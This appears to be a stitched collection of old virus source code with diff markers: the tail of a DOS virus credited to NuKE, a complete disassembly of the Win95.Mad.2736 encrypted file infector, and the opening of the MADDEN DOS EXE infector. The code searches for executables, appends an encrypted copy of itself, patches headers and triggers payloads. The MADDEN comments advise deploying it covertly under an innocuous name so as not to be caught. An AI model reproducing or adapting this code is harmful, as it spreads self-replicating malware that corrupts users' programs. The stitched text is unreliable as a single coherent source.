DEC BYTE PTR DS:DATA_14E ;
|
||||||
|
LOC_46:
|
||||||
|
POP SI
|
||||||
|
CMP WORD PTR CS:DATA_42E[SI],5A4DH
|
||||||
|
JNE LOC_47 ; Jump if not equal
|
||||||
|
POP DS
|
||||||
|
MOV AX,CS:DATA_46E[SI]
|
||||||
|
MOV BX,CS:DATA_45E[SI] ; all this shit is to restore
|
||||||
|
PUSH CS ; the program and continue
|
||||||
|
POP CX ; running the original
|
||||||
|
SUB CX,AX ; program...
|
||||||
|
ADD CX,BX
|
||||||
|
PUSH CX
|
||||||
|
PUSH WORD PTR CS:DATA_44E[SI]
|
||||||
|
PUSH DS
|
||||||
|
POP ES
|
||||||
|
CALL SUB_10
|
||||||
|
RETF
|
||||||
|
LOC_47:
|
||||||
|
POP AX
|
||||||
|
MOV AX,CS:DATA_42E[SI]
|
||||||
|
MOV WORD PTR CS:[100H],AX
|
||||||
|
MOV AX,CS:DATA_43E[SI]
|
||||||
|
MOV WORD PTR CS:[102H],AX
|
||||||
|
MOV AX,100H
|
||||||
|
PUSH AX
|
||||||
|
PUSH CS
|
||||||
|
POP DS
|
||||||
|
PUSH DS
|
||||||
|
POP ES
|
||||||
|
CALL SUB_10
|
||||||
|
RETN
|
||||||
|
SUB_11 ENDP
|
||||||
|
|
||||||
|
|
||||||
|
SEG_A ENDS
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
END START
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Rock Steady [NuKE]
|
||||||
@@ -0,0 +1,520 @@
|
|||||||
|
;Win95.Mad.2736 disassembly
|
||||||
|
;(c) Vecna/29A
|
||||||
|
|
||||||
|
;Here is the disassembly of one of the first Win95 virus, that implemented
|
||||||
|
;several original features. It was the first encripted win95 virus, and
|
||||||
|
;the second one to not add a new section to the host (the first according
|
||||||
|
;to AVPVE) the first was actually Win32.Jacky. When executed,
|
||||||
|
;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA,
|
||||||
|
;and call they everytime that need get a function, instead of searching
|
||||||
|
;once and storing the API address. Anyway, the API search dont seens reliable
|
||||||
|
;enought, and i cant make it replicate in my machine.
|
||||||
|
|
||||||
|
;A special thank goes this time for VirusBuster, my virus provider, that
|
||||||
|
;always have nice virii for me... :-)
|
||||||
|
;Tasm /m w95mad.asm
|
||||||
|
|
||||||
|
|
||||||
|
.386p
|
||||||
|
.model flat
|
||||||
|
.data
|
||||||
|
dd ?
|
||||||
|
|
||||||
|
.code
|
||||||
|
|
||||||
|
start:
|
||||||
|
call delta
|
||||||
|
delta:
|
||||||
|
pop edi
|
||||||
|
mov eax, edi
|
||||||
|
old_RVA:
|
||||||
|
sub eax, 2005h ;setup host entry point
|
||||||
|
sub edi, offset delta
|
||||||
|
mov ds:HostEntry[edi], eax
|
||||||
|
mov ds:SaveEBP[edi], ebp
|
||||||
|
mov ebp, edi
|
||||||
|
xor eax, eax
|
||||||
|
mov edi, offset start_encript
|
||||||
|
add edi, ebp
|
||||||
|
mov ecx, 0A6Bh
|
||||||
|
mov al, ss:Key[ebp]
|
||||||
|
decript_loop:
|
||||||
|
xor [edi], al
|
||||||
|
inc edi
|
||||||
|
loop decript_loop
|
||||||
|
jmp short start_encript
|
||||||
|
|
||||||
|
HostEntry dd 0
|
||||||
|
SaveEBP dd 0
|
||||||
|
Key db 0
|
||||||
|
|
||||||
|
start_encript:
|
||||||
|
mov ss:TotalInf[ebp], 0
|
||||||
|
mov eax, 4550h
|
||||||
|
mov edi, 0BFF70000h
|
||||||
|
mov ecx, 1000h
|
||||||
|
cld
|
||||||
|
search_kernel:
|
||||||
|
repne scasw
|
||||||
|
jnz return_host
|
||||||
|
add ss:Seed[ebp], edi
|
||||||
|
dec edi
|
||||||
|
dec edi
|
||||||
|
cmp word ptr [edi+4], 14Ch
|
||||||
|
jnz short search_kernel
|
||||||
|
cmp word ptr [edi+14h], 0
|
||||||
|
jz short search_kernel
|
||||||
|
mov bx, [edi+16h]
|
||||||
|
and bx, 0F000h
|
||||||
|
cmp bx, 2000h ;is a DLL?
|
||||||
|
jnz short search_kernel
|
||||||
|
cmp dword ptr [edi+34h], 0BFF70000h
|
||||||
|
jl short search_kernel
|
||||||
|
mov eax, [edi+34h]
|
||||||
|
mov ss:KernelBase[ebp], eax
|
||||||
|
xor eax, eax
|
||||||
|
mov ax, [edi+14h]
|
||||||
|
add eax, edi
|
||||||
|
add eax, 18h
|
||||||
|
mov cx, [edi+6] ;number of sections
|
||||||
|
search_edata:
|
||||||
|
cmp dword ptr [eax], 'ADE.'
|
||||||
|
jnz short no_edata
|
||||||
|
cmp dword ptr [eax+4], 'AT' ;search all sectionz for the
|
||||||
|
jz short found_export ;export section
|
||||||
|
no_edata:
|
||||||
|
add eax, 28h
|
||||||
|
dec cx
|
||||||
|
or cx, cx
|
||||||
|
jnz short search_edata
|
||||||
|
jmp return_host
|
||||||
|
|
||||||
|
found_export:
|
||||||
|
mov ebx, [eax+0Ch]
|
||||||
|
add ebx, ss:KernelBase[ebp]
|
||||||
|
mov edi, [ebx+20h]
|
||||||
|
add edi, ss:KernelBase[ebp]
|
||||||
|
mov ecx, [ebx+14h]
|
||||||
|
sub ecx, [ebx+18h]
|
||||||
|
mov eax, 4
|
||||||
|
mul ecx
|
||||||
|
mov ss:pAPIRVA[ebp], eax
|
||||||
|
mov ecx, [ebx+18h]
|
||||||
|
mov eax, 4
|
||||||
|
mul ecx
|
||||||
|
xchg eax, ecx
|
||||||
|
xchg edi, edx
|
||||||
|
|
||||||
|
search_APIs:
|
||||||
|
sub ecx, 4
|
||||||
|
mov edi, edx
|
||||||
|
add edi, ecx
|
||||||
|
mov edi, [edi]
|
||||||
|
add edi, ss:KernelBase[ebp]
|
||||||
|
lea esi, szGetProcAddres[ebp]
|
||||||
|
lea eax, pGetProcAddress[ebp]
|
||||||
|
call extract_addr
|
||||||
|
lea eax, pGetModuleHdle[ebp]
|
||||||
|
lea esi, szGetModuleHdle[ebp]
|
||||||
|
call extract_addr
|
||||||
|
cmp ecx, 0
|
||||||
|
jnz short search_APIs
|
||||||
|
cmp ss:pGetProcAddress[ebp], 0
|
||||||
|
jz return_host
|
||||||
|
cmp ss:pGetModuleHdle[ebp], 0
|
||||||
|
jz return_host
|
||||||
|
lea eax, _Kernel32[ebp]
|
||||||
|
push eax
|
||||||
|
mov eax, ss:pGetModuleHdle[ebp]
|
||||||
|
call eax
|
||||||
|
mov ss:KernelHandle[ebp], eax
|
||||||
|
cmp eax, 0
|
||||||
|
jz return_host
|
||||||
|
lea eax, _GetDir[ebp]
|
||||||
|
call get_api_addr
|
||||||
|
jb _check_payload
|
||||||
|
lea edx, CurrentDir[ebp]
|
||||||
|
push edx
|
||||||
|
push 0FFh ;save current directory
|
||||||
|
call eax
|
||||||
|
|
||||||
|
find_filez:
|
||||||
|
lea eax, _FFile[ebp]
|
||||||
|
call get_api_addr
|
||||||
|
jb no_payload
|
||||||
|
mov edx, offset FINDATA ;start of find struct
|
||||||
|
add edx, ebp
|
||||||
|
push edx
|
||||||
|
mov edx, offset ExeMask
|
||||||
|
add edx, ebp
|
||||||
|
push edx
|
||||||
|
call eax
|
||||||
|
mov ss:SearchHandle[ebp], eax
|
||||||
|
cmp eax, 0FFFFFFFFh
|
||||||
|
jz change_dir ;error, then go down a dir
|
||||||
|
|
||||||
|
infect_next:
|
||||||
|
mov eax, dword ptr ss:FileName[ebp]
|
||||||
|
xor ss:Seed[ebp], eax
|
||||||
|
cmp eax, 186A0h
|
||||||
|
jnb error_close
|
||||||
|
cmp ss:Security[ebp], 0 ;maybe a safeguard flag?
|
||||||
|
jnz error_close ;win95 never set this, so
|
||||||
|
lea eax, _CreateFile[ebp] ;probably is a safeguard
|
||||||
|
call get_api_addr ;to no infect own hdd
|
||||||
|
jb no_payload
|
||||||
|
push 0
|
||||||
|
push ss:FINDATA[ebp]
|
||||||
|
push 3
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push 0C0000000h
|
||||||
|
mov edx, offset FileName2
|
||||||
|
add edx, ebp
|
||||||
|
push edx
|
||||||
|
call eax
|
||||||
|
cmp eax, 0FFFFFFFFh
|
||||||
|
jz find_next
|
||||||
|
mov ss:FileHandle[ebp], eax
|
||||||
|
mov edi, 3Ch
|
||||||
|
call file_seek
|
||||||
|
mov edi, offset PEPointer
|
||||||
|
add edi, ebp
|
||||||
|
mov ecx, 4
|
||||||
|
call read_file
|
||||||
|
jb error_close
|
||||||
|
mov edi, ss:PEPointer[ebp]
|
||||||
|
call file_seek
|
||||||
|
mov edi, offset PEHeader
|
||||||
|
add edi, ebp
|
||||||
|
mov ecx, 8D0h
|
||||||
|
call read_file
|
||||||
|
cmp ss:PEHeader[ebp], 4550h
|
||||||
|
jnz error_close
|
||||||
|
cmp ss:InfectionMark[ebp], 'WDAM' ;MADW - Mad for Win95
|
||||||
|
jz error_close
|
||||||
|
xor esi, esi
|
||||||
|
xor eax, eax
|
||||||
|
mov ax, ss:NumberSections[ebp]
|
||||||
|
dec ax
|
||||||
|
mov ecx, 28h
|
||||||
|
xor edx, edx
|
||||||
|
mul ecx
|
||||||
|
mov si, ax
|
||||||
|
mov eax, 0BB8h
|
||||||
|
mov ecx, ss:FileAlign[ebp]
|
||||||
|
xor edx, edx
|
||||||
|
div ecx
|
||||||
|
inc eax
|
||||||
|
mul ecx
|
||||||
|
add ss:szRVA[ebp+esi], eax ;virtual size of section
|
||||||
|
mov eax, 7D0h
|
||||||
|
mov ecx, ss:ObjAlign[ebp]
|
||||||
|
xor edx, edx
|
||||||
|
div ecx
|
||||||
|
inc eax
|
||||||
|
mul ecx
|
||||||
|
mov edx, ss:pRAW[ebp+esi] ;pointer to raw data
|
||||||
|
mov ecx, edx
|
||||||
|
add edx, ss:szRAW[ebp+esi] ;size of raw data
|
||||||
|
push edx
|
||||||
|
add ss:pRAW[ebp+esi], eax ;pointer to raw data
|
||||||
|
or ss:ObjAttr[ebp+esi], 0C0000040h ;object attributes
|
||||||
|
add ecx, ss:RVA[ebp+esi] ;RVA of section
|
||||||
|
mov edx, ss:EntryRVA[ebp]
|
||||||
|
mov ss:EntryRVA[ebp], ecx
|
||||||
|
sub ecx, edx
|
||||||
|
add ecx, 5
|
||||||
|
mov dword ptr ss:old_RVA+1[ebp], ecx
|
||||||
|
mov ss:InfectionMark[ebp], 'WDAM' ;set the mark
|
||||||
|
mov edi, ss:PEPointer[ebp]
|
||||||
|
call file_seek
|
||||||
|
mov edi, offset PEHeader
|
||||||
|
add edi, ebp
|
||||||
|
mov ecx, 8D0h
|
||||||
|
call write_file ;write the modificated
|
||||||
|
pop edi ;header info
|
||||||
|
add ss:Seed[ebp], edi
|
||||||
|
call file_seek
|
||||||
|
mov eax, ss:Seed[ebp]
|
||||||
|
neg eax
|
||||||
|
mov ss:Key[ebp], al
|
||||||
|
mov esi, offset start
|
||||||
|
add esi, ebp
|
||||||
|
mov edi, offset EncriptedBody
|
||||||
|
add edi, ebp
|
||||||
|
mov ecx, 0AB0h
|
||||||
|
cld
|
||||||
|
repe movsb ;zopy virus to work area
|
||||||
|
mov edi, offset EncriptedBody
|
||||||
|
add edi, ebp
|
||||||
|
add edi, 45h
|
||||||
|
mov ecx, 0A6Bh
|
||||||
|
mov al, ss:Key[ebp]
|
||||||
|
|
||||||
|
enc_loop:
|
||||||
|
xor [edi], al ;encript it
|
||||||
|
inc edi
|
||||||
|
loop enc_loop
|
||||||
|
mov edi, offset EncriptedBody
|
||||||
|
add edi, ebp
|
||||||
|
mov ecx, 0AB0h
|
||||||
|
call write_file ;attach virus
|
||||||
|
|
||||||
|
error_close:
|
||||||
|
not ss:Seed[ebp]
|
||||||
|
lea eax, _CloseFile[ebp]
|
||||||
|
call get_api_addr
|
||||||
|
jb short _check_payload
|
||||||
|
push ss:FileHandle[ebp]
|
||||||
|
call eax
|
||||||
|
|
||||||
|
find_next:
|
||||||
|
lea eax, _FNFile[ebp]
|
||||||
|
call get_api_addr
|
||||||
|
jb short _check_payload
|
||||||
|
lea edx, FINDATA[ebp]
|
||||||
|
push edx
|
||||||
|
push ss:SearchHandle[ebp]
|
||||||
|
call eax
|
||||||
|
cmp eax, 0
|
||||||
|
jnz infect_next
|
||||||
|
|
||||||
|
change_dir:
|
||||||
|
cmp ss:TotalInf[ebp], 3 ;only stop after 3 directorys
|
||||||
|
jz short _check_payload ;infected
|
||||||
|
lea eax, _SetDir[ebp]
|
||||||
|
call get_api_addr
|
||||||
|
jb short _check_payload
|
||||||
|
lea edx, DotDot[ebp] ;go down a directory
|
||||||
|
push edx
|
||||||
|
call eax
|
||||||
|
inc ss:TotalInf[ebp]
|
||||||
|
cmp eax, 1
|
||||||
|
jz find_filez
|
||||||
|
|
||||||
|
_check_payload:
|
||||||
|
jmp short check_payload
|
||||||
|
|
||||||
|
read_file:
|
||||||
|
push edi
|
||||||
|
push ecx
|
||||||
|
lea eax, _ReadFile[ebp]
|
||||||
|
call get_api_addr
|
||||||
|
pop ecx
|
||||||
|
pop edi
|
||||||
|
cmp eax, 0
|
||||||
|
jnz short rf_addr_ok
|
||||||
|
stc
|
||||||
|
retn
|
||||||
|
rf_addr_ok:
|
||||||
|
push 0
|
||||||
|
lea ebx, NumRead[ebp]
|
||||||
|
push ebx
|
||||||
|
push ecx
|
||||||
|
push edi
|
||||||
|
push ss:FileHandle[ebp]
|
||||||
|
call eax
|
||||||
|
retn
|
||||||
|
|
||||||
|
write_file:
|
||||||
|
push edi
|
||||||
|
push ecx
|
||||||
|
lea eax, _WriteFile[ebp]
|
||||||
|
call get_api_addr
|
||||||
|
pop ecx
|
||||||
|
pop edi
|
||||||
|
cmp eax, 0
|
||||||
|
jnz short wf_addr_ok
|
||||||
|
stc
|
||||||
|
retn
|
||||||
|
wf_addr_ok:
|
||||||
|
push 0
|
||||||
|
lea ebx, NumRead[ebp]
|
||||||
|
push ebx
|
||||||
|
push ecx
|
||||||
|
push edi
|
||||||
|
push ss:FileHandle[ebp]
|
||||||
|
call eax
|
||||||
|
retn
|
||||||
|
|
||||||
|
file_seek:
|
||||||
|
lea eax, _FileSeek[ebp]
|
||||||
|
call get_api_addr
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push edi
|
||||||
|
push ss:FileHandle[ebp]
|
||||||
|
call eax
|
||||||
|
retn
|
||||||
|
|
||||||
|
check_payload:
|
||||||
|
lea eax, _GetTime[ebp]
|
||||||
|
call get_api_addr
|
||||||
|
jb short no_payload
|
||||||
|
lea edx, SYSTIME[ebp]
|
||||||
|
push edx
|
||||||
|
call eax
|
||||||
|
cmp ss:cDay[ebp], 1
|
||||||
|
jnz short no_payload
|
||||||
|
lea eax, _User32[ebp]
|
||||||
|
push eax
|
||||||
|
mov eax, ss:pGetModuleHdle[ebp]
|
||||||
|
call eax ;get handle for USER32.DLL
|
||||||
|
mov ss:KernelHandle[ebp], eax
|
||||||
|
cmp eax, 0
|
||||||
|
jz short no_payload
|
||||||
|
lea eax, _MsgBox[ebp]
|
||||||
|
call get_api_addr
|
||||||
|
jb short no_payload
|
||||||
|
push 1030h
|
||||||
|
mov edx, offset MsgTitle
|
||||||
|
add edx, ebp
|
||||||
|
push edx
|
||||||
|
mov edx, offset MsgText
|
||||||
|
add edx, ebp
|
||||||
|
push edx
|
||||||
|
push 0
|
||||||
|
call eax ;pop a MessageBox with virus
|
||||||
|
lea eax, _Kernel32[ebp] ;credits
|
||||||
|
push eax
|
||||||
|
mov eax, ss:pGetModuleHdle[ebp]
|
||||||
|
call eax
|
||||||
|
mov ss:KernelHandle[ebp], eax
|
||||||
|
|
||||||
|
no_payload:
|
||||||
|
lea eax, _SetDir[ebp]
|
||||||
|
call get_api_addr
|
||||||
|
jb short return_host
|
||||||
|
lea edx, CurrentDir[ebp]
|
||||||
|
push edx
|
||||||
|
call eax
|
||||||
|
|
||||||
|
return_host:
|
||||||
|
mov edi, ebp
|
||||||
|
mov ebp, ds:SaveEBP[edi]
|
||||||
|
jmp ds:HostEntry[edi]
|
||||||
|
|
||||||
|
extract_addr:
|
||||||
|
pusha
|
||||||
|
mov ecx, [esi]
|
||||||
|
add esi, 4
|
||||||
|
repe cmpsb ;is api we want?
|
||||||
|
popa
|
||||||
|
jnz short no_func
|
||||||
|
xchg eax, esi
|
||||||
|
mov eax, [ebx+1Ch]
|
||||||
|
add eax, ss:pAPIRVA[ebp]
|
||||||
|
add eax, ss:KernelBase[ebp]
|
||||||
|
add eax, ecx
|
||||||
|
mov eax, [eax]
|
||||||
|
add eax, ss:KernelBase[ebp]
|
||||||
|
mov [esi], eax ;set adress
|
||||||
|
no_func:
|
||||||
|
retn
|
||||||
|
|
||||||
|
get_api_addr:
|
||||||
|
push eax
|
||||||
|
mov eax, ss:KernelHandle[ebp]
|
||||||
|
push eax
|
||||||
|
call ss:pGetProcAddress[ebp]
|
||||||
|
cmp eax, 0
|
||||||
|
jnz short proc_found
|
||||||
|
stc ;set carry on error
|
||||||
|
proc_found:
|
||||||
|
retn
|
||||||
|
|
||||||
|
KernelBase dd 0
|
||||||
|
pAPIRVA dd 0
|
||||||
|
|
||||||
|
pGetProcAddress dd 0
|
||||||
|
szGetProcAddres dd 0Fh ;size of string to search
|
||||||
|
db 'GetProcAddress',0
|
||||||
|
|
||||||
|
pGetModuleHdle dd 0
|
||||||
|
szGetModuleHdle dd 11h ;size of string to search
|
||||||
|
db 'GetModuleHandleA',0
|
||||||
|
|
||||||
|
_Kernel32 db 'KERNEL32',0
|
||||||
|
_User32 db 'USER32',0
|
||||||
|
|
||||||
|
_MsgBox db 'MessageBoxA',0 ;this one we get from user32
|
||||||
|
|
||||||
|
_FFile db 'FindFirstFileA',0 ;and all these otherz from
|
||||||
|
_CreateFile db 'CreateFileA',0 ;kernel32
|
||||||
|
_CloseFile db 'CloseHandle',0
|
||||||
|
_ReadFile db 'ReadFile',0
|
||||||
|
_WriteFile db 'WriteFile',0
|
||||||
|
_FileSeek db 'SetFilePointer',0
|
||||||
|
_FNFile db 'FindNextFileA',0
|
||||||
|
_GetTime db 'GetLocalTime',0
|
||||||
|
_SetDir db 'SetCurrentDirectoryA',0
|
||||||
|
_GetDir db 'GetCurrentDirectoryA',0
|
||||||
|
|
||||||
|
KernelHandle dd 0 ;also used for USER32.DLL
|
||||||
|
;when using payload
|
||||||
|
|
||||||
|
MsgTitle db 'Multiplatform Advanced Destroyer',0
|
||||||
|
MsgText db 'Hello user your computer is infected by MAD virus',0Dh
|
||||||
|
db 'Welcome to my first virus for Windoze95...',0Dh
|
||||||
|
db 'Distribution & Copyright by Black Angel 1997',0
|
||||||
|
;uhh... a confession... ;-)
|
||||||
|
|
||||||
|
ExeMask db '*.eXe',0
|
||||||
|
|
||||||
|
db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0
|
||||||
|
|
||||||
|
DotDot db '..',0 ;for directory changing
|
||||||
|
|
||||||
|
SearchHandle dd 0
|
||||||
|
FileHandle dd 0
|
||||||
|
NumRead dd 0
|
||||||
|
Seed dd 0
|
||||||
|
|
||||||
|
SYSTIME equ this byte
|
||||||
|
cYear dw 0
|
||||||
|
cMonth dw 0
|
||||||
|
cDWeek dw 0
|
||||||
|
cDay dw 0
|
||||||
|
cHour dw 0
|
||||||
|
cMin dw 0
|
||||||
|
cSec dw 0
|
||||||
|
cMlSec dw 0
|
||||||
|
|
||||||
|
FINDATA dd 0 ;File Attribute
|
||||||
|
dd 0 ;Creation Date
|
||||||
|
dd 0 ;Last Acess Date
|
||||||
|
dd 0 ;Last Write Date
|
||||||
|
dd 0 ;File Size h
|
||||||
|
dd 0 ;File Size l
|
||||||
|
dd 0 ;Reserved
|
||||||
|
Security dd 0
|
||||||
|
FileName db 0Ch dup(0)
|
||||||
|
FileName2 db 200h dup(0)
|
||||||
|
|
||||||
|
PEPointer dd 0
|
||||||
|
TotalInf db 0
|
||||||
|
CurrentDir db 100h dup(0)
|
||||||
|
|
||||||
|
PEHeader dd 0 ;from here to end, are all
|
||||||
|
dw 0 ;bufferz that w95.mad.2736
|
||||||
|
NumberSections dw 0 ;use for read, encription
|
||||||
|
db 20h dup(0) ;and like...
|
||||||
|
EntryRVA dd 0
|
||||||
|
db 0Ch dup(0)
|
||||||
|
FileAlign dd 0
|
||||||
|
ObjAlign dd 0
|
||||||
|
db 18h dup(0)
|
||||||
|
InfectionMark dd 0
|
||||||
|
EncriptedBody db 0A4h dup(0)
|
||||||
|
szRVA dd 0
|
||||||
|
RVA dd 0
|
||||||
|
pRAW dd 0
|
||||||
|
szRAW dd 0
|
||||||
|
dd 0
|
||||||
|
dd 0
|
||||||
|
dd 0
|
||||||
|
ObjAttr dd 0
|
||||||
|
db 608Ch dup(0)
|
||||||
|
|
||||||
|
end start
|
||||||
@@ -0,0 +1,805 @@
|
|||||||
|
;The MADDEN virus is an EXE file infector which can jump from directory to
|
||||||
|
;directory. It attaches itself to the end of a file and
|
||||||
|
;modifies the EXE file header so that it gets control first, before the host
|
||||||
|
;program. When it is done doing its job, it passes control to the host program,
|
||||||
|
;so that the host executes without a hint that the virus is there.
|
||||||
|
|
||||||
|
|
||||||
|
.SEQ ;segments must appear in sequential order
|
||||||
|
;to simulate conditions in actual active virus
|
||||||
|
|
||||||
|
|
||||||
|
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
|
||||||
|
|
||||||
|
;HOSTSEG program code segment. The virus gains control before this routine and
|
||||||
|
;attaches itself to another EXE file. As such, the host program for this
|
||||||
|
;installer simply tries to delete itself off of disk and terminates. That is
|
||||||
|
;worthwhile if you want to infect a system with the virus without getting
|
||||||
|
;caught. Just execute the program that infects, and it disappears without a
|
||||||
|
;trace. You might want to name the program something more innocuous, though.
|
||||||
|
;MADDEN also locks the pc into a 'maddening' toon when it runs out
|
||||||
|
;of files to infect. (MADDEN can be assembled to an .obj file under a86,
|
||||||
|
;then linked to the 'infected' .exe form.)
|
||||||
|
|
||||||
|
HOSTSEG SEGMENT BYTE
|
||||||
|
ASSUME CS:HOSTSEG,SS:HSTACK
|
||||||
|
|
||||||
|
PGMSTR DB 'MADDEN.EXE',0
|
||||||
|
|
||||||
|
HOST:
|
||||||
|
mov ax,cs ;we want DS=CS here
|
||||||
|
mov ds,ax
|
||||||
|
mov dx,OFFSET PGMSTR
|
||||||
|
mov ah,41H
|
||||||
|
int 21H ;delete this exe file
|
||||||
|
mov ah,4CH
|
||||||
|
mov al,0
|
||||||
|
int 21H ;terminate normally
|
||||||
|
HOSTSEG ENDS
|
||||||
|
|
||||||
|
|
||||||
|
;Host program stack segment
|
||||||
|
|
||||||
|
HSTACK SEGMENT PARA STACK
|
||||||
|
db 100H dup (?) ;100 bytes long
|
||||||
|
HSTACK ENDS
|
||||||
|
|
||||||
|
;------------------------------------------------------------------------
|
||||||
|
;This is the virus itself
|
||||||
|
|
||||||
|
STACKSIZE EQU 100H ;size of stack for the virus
|
||||||
|
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
|
||||||
|
|
||||||
|
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
|
||||||
|
|
||||||
|
;MADDEN Virus code segment. This gains control first, before the host. As this
|
||||||
|
;ASM file is layed out, this program will look exactly like a simple program
|
||||||
|
;that was infected by the virus.
|
||||||
|
|
||||||
|
VSEG SEGMENT PARA
|
||||||
|
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
|
||||||
|
|
||||||
|
;data storage area comes before any code
|
||||||
|
VIRUSID DW 0C8AAH ;identifies virus
|
||||||
|
OLDDTA DD 0 ;old DTA segment and offset
|
||||||
|
DTA1 DB 2BH dup (?) ;new disk transfer area
|
||||||
|
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
|
||||||
|
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
|
||||||
|
EXEFILE DB '\*.EXE',0 ;search string for an exe file
|
||||||
|
ALLFILE DB '\*.*',0 ;search string for any file
|
||||||
|
USEFILE DB 78 dup (?) ;area to put valid file path
|
||||||
|
LEVEL DB 0 ;depth to search directories for a file
|
||||||
|
HANDLE DW 0 ;file handle
|
||||||
|
FATTR DB 0 ;old file attribute storage area
|
||||||
|
FTIME DW 0 ;old file time stamp storage area
|
||||||
|
FDATE DW 0 ;old file date stamp storage area
|
||||||
|
FSIZE DD 0 ;file size storage area
|
||||||
|
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
|
||||||
|
VCODE DB 1 ;identifies this version
|
||||||
|
MUZIK dw 4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay
|
||||||
|
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy
|
||||||
|
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||||
|
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||||
|
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||||
|
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||||
|
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||||
|
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||||||
|
dw 6087,0020,
|
||||||
|
|
||||||
|
dw 6087,0006,
|
||||||
|
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||||||
|
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||||
|
|
||||||
|
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||||||
|
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||||||
|
dw 6087,0020,
|
||||||
|
|
||||||
|
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||||
|
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||||
|
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||||
|
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||||
|
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||||
|
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||||||
|
dw 6087,0020,
|
||||||
|
|
||||||
|
dw 6087,0006,
|
||||||
|
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||||||
|
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||||
|
|
||||||
|
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||||||
|
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||||||
|
dw 6087,0020,
|
||||||
|
|
||||||
|
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||||
|
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
|
||||||
|
dw 3043,0010,
|
||||||
|
|
||||||
|
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||||
|
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||||
|
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||||
|
dw 3043,0006, 4831,0006, 4063,0006, 3043,0006,
|
||||||
|
dw 4304,0006, 4063,0006, 4304,0006, 4063,0006,
|
||||||
|
dw 3043,0006, 5119,0006, 5423,0006, 3043,0006,
|
||||||
|
dw 6087,0020,
|
||||||
|
|
||||||
|
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||||
|
dw 3043,0006, 3619,0006, 4831,0006, 6087,0006
|
||||||
|
dw 3043,0010,
|
||||||
|
|
||||||
|
dw 6087,0006,
|
||||||
|
dw 7239,0006, 3619,0006, 4831,0006, 6087,0006
|
||||||
|
dw 7670,0006, 7239,0006, 4831,0006, 3619,0006
|
||||||
|
|
||||||
|
dw 6087,0006, 4063,0006, 3043,0006, 5119,0006
|
||||||
|
dw 4831,0006, 6087,0006, 7239,0006, 8126,0006
|
||||||
|
dw 6087,0020,
|
||||||
|
|
||||||
|
dw 0ffffh
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;MADDEN virus main routine starts here
|
||||||
|
VIRUS:
|
||||||
|
push ax ;save startup info in ax
|
||||||
|
mov ax,cs
|
||||||
|
mov ds,ax ;set up DS=CS for the virus
|
||||||
|
mov ax,es ;get PSP Seg
|
||||||
|
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
|
||||||
|
call SHOULDRUN ;run only when certain conditions met signalled by z set
|
||||||
|
jnz REL1 ;conditions aren't met, go execute host program
|
||||||
|
call SETSR ;modify SHOULDRUN procedure to activate conditions
|
||||||
|
call NEW_DTA ;set up a new DTA location
|
||||||
|
call FIND_FILE ;get an exe file to attack
|
||||||
|
jnz TOON ;returned nz - no valid files left, play maddening toon!
|
||||||
|
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
|
||||||
|
call INFECT ;move program code to file we found to attack
|
||||||
|
call REST_ATTRIBUTE ;restore the original file attributes and close the file
|
||||||
|
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
|
||||||
|
pop ax ;restore startup value of ax
|
||||||
|
REL1: ;relocatable marker for host stack segment
|
||||||
|
mov bx,HSTACK ;set up host program stack segment (ax=segment)
|
||||||
|
cli ;interrupts off while changing stack
|
||||||
|
mov ss,bx
|
||||||
|
REL1A: ;marker for host stack pointer
|
||||||
|
mov sp,OFFSET HSTACK
|
||||||
|
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
|
||||||
|
mov ds,WORD PTR [OLDDTA+2] ;and DS
|
||||||
|
sti ;interrupts back on
|
||||||
|
REL2: ;relocatable marker for host code segment
|
||||||
|
jmp FAR PTR HOST ;begin execution of host program
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
